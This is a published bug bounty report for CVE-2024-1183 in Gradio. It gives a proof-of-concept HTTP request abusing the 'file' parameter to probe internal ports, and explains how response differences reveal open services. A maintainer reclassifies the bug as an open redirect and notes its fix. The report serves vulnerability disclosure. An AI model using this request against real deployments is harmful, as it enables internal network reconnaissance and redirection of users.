

ssrf bug to scan internet network in gradio-app/gradio

✓ Valid

Reported on Nov 9th 2023

Description

ssrf bug to find internal open port

Proof of Concept

```
GET /file=http://localhost:8182/ HTTP/1.1
Host: 127.0.0.1:7860
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:7860/
Origin: http://127.0.0.1:7860
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
```

above request will take url from parameter `file` . if url is valid then there is `Location` header present in response .If url is not valid then get error like `"detail": "File not allowed: http://localhost:8182/dd."` .

With this response difference user can find out open port in internal network .

here i provided a url `http://localhost:8182/` here if `8182` port is open and running a webserver then you get `Location` header in response . If 8182 port is not running web-server then you get `File not allowed` .

So, with this difference attacker can find out port 8182 is open or not .

Impact

ssrf bug to find open port in internal network

Occurrences

⚙️ We are processing your report and will contact the **gradio-app/gradio** team within 24 hours. 2 years ago

✉️ We have contacted a member of the **gradio-app/gradio** team and are waiting to hear back 2 years ago



✎️ **Dan McInerney** modified the Severity from High (8.2) to Medium (6.5) 2 years ago



✎️ **Dan McInerney** modified the CWE from Server-Side Request Forgery (SSRF) to URL Redirection to Untrusted Site 2 years ago



✎️ **Dan McInerney** modified the Severity from Medium (6.5) to Medium (6.5) 2 years ago

★ The researcher has received a minor penalty to their credibility for misclassifying the vulnerability type: -1

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



✅ **Dan McInerney** validated this vulnerability 2 years ago

Hi ranjit, confirmed this one. This isn't an SSRF, however, it's an open redirect. SSRF would be if the Gradio server reached out to another server, but this just redirects the user. I was unable to reproduce the port scanning ability, but it wouldn't change the CVSS anyway. Thanks!

\$ **ranjit-git** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

👤 **CVE-2024-1183** assigned to this report. 2 years ago



ranjit-git commented 2 years ago

Researcher

@admin @danmcinerney when i reported it was vulnerable to ssrf bug . maintainer made silent fix and did not validated the report here . Fix PR <https://github.com/gradio-app/gradio/pull/6794/commits/2ad3d9e7ec6c8eeea59774265b44f11df7394bb4>

You can check in my report i provided permalinks <https://github.com/gradio-app/gradio/blob/42f76aeeb7b7263abccc038b699fb7fae7fe2313/gradio/utils.py#L586> in vulnerable `validate_url` function .

But in the patch maintainer removed that function call



Abubakar Abid commented 2 years ago

Maintainer

Hi @ranjit-git sorry I didn't see report. There was another report previously filed, on which basis I fixed the SSRF. I'll go ahead and close this



A **gradio-app/gradio** maintainer has acknowledged this report 2 years ago



Abubakar Abid marked this as fixed in **4.11** with commit **2ad3d9** 2 years ago

\$ The fix bounty has been dropped

\$ **utils.py#L586** has been validated



Adam Nygate set the scheduled publication date to Apr 16th 2024 UTC 2 years ago



A huntr admin modified the scheduled publication date from 16th Apr 2024 to 16th Apr 2024 2 years ago



We have sent a warning to the **gradio-app/gradio** team to inform them that this report will be published in 48 hours 2 years ago



This vulnerability has now been published 2 years ago



CVE-2024-1183 has now been published 2 years ago

[Sign in](#) to join this conversation

CVE

CVE-2024-1183

Published

Vulnerability Type

CWE-601: Open Redirect

Severity

Medium (6.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

[Open in visual CVSS calculator](#)

Registry

Pypi

Affected Version

3.41.0

Visibility

Public

Status

Fixed

Disclosure Bounty

\$125

Fix Bounty

\$31.25

Found by



ranjit-git

@ranjit-git

LIGHTWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)